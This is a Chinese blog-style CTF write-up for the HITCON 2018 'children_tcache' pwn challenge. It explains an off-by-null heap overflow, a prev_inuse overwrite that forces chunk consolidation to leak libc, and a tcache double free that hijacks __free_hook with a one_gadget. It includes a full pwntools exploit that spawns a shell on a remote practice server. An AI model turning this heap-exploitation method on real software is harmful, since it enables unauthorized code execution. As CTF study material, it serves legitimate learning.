hitcon_2018_children_tcache 修改chunk的pre_inuse位合并前面的chunk

 系统的安全检查

这道题是纯看别人的wp的,所以这里只记录思路,exp到时候会自己在去复现一下,写出来的

安全检查

 流程分析

add函数里面有一个null-by-one溢出,其他的都很正常

 漏洞利用

  1. 通过申请chunk0,1,2其中1和2需要在tache外,也就是大于0x300,先把0和1释放掉
  2. 然后把chunk2的presize置为0
  3. 在申请一个跟chunk1大小一样的chunk使其覆盖chunk的presize为chunk0+chunk1并覆盖其pre_inuse位
  4. 释放chunk2,由于在unsorted bin中会直接合并,再申请一个chunk1大小的堆块,这时在show chunk1即可泄露libc
  5. 在劫持malloc_hook函数或者free_hook函数,然后在申请一个chunk称为3,这时候idx 0(chunk1)和chunk3都只向同一个chunk了
  6. double free 在劫持,即可

填坑时遇到的问题

  • 在我第二次写的时候,我想覆盖chunk的pre_inuse位为0,可是不能覆盖,后面实在想不到了,看完wp后,突然明白他为什么要填0了,因为不这样填不进去,所以只能一个字节一个字节的填入
  • 在我填入完后,我发现我不了解对chunk的合并操作,然后看wp发现这个我还是不懂,去wiki上看了,发现向低地址合并没有什么检查,只检查了pre_inuse位、
  • 还有一个点main_arena偏移为0x3ebca0

我的错误理解:我一直以为保护是当前地址减去pre_size然后对比,是否相等

我看的师傅博客

第二次写的exp

from pwn import *

#p=process('./HITCON_2018_children_tcache')
p=remote('node3.buuoj.cn',28045)
libc=ELF('../libc-2.27.so')
def add(size,content):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data')
    p.sendline(content)

def show(idx):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(idx))

add(0x410,'p'*0x419) #0
add(0x88,'p') #1
add(0x4f0,'p') #2
add(0x10,'/bin/shx00') #3
delete(1)
delete(0)

for i in range(8):
    add(0x88-i,'p'*(0x88-i))
    delete(0)

add(0x88,'p'*0x80+p64(0x4b0)) #0

delete(2)

add(0x410,'p'*0x419) #1

show(0)

libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x3ebca0
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']

one_gadget = libc_base + 0x4f322
add(0x88,'p') #2

delete(0)
delete(2)

add(0x88,p64(free_hook))
add(0x88,p64(free_hook))
add(0x88,p64(one_gadget))

delete(3)

#add(0x16,'/bin/shx00')
#gdb.attach(p)


p.interactive()

过几天再来看看,保护机制,对保护机制不熟悉,就是在浪费时间

原文地址:https://www.cnblogs.com/pppyyyzzz/p/14054249.html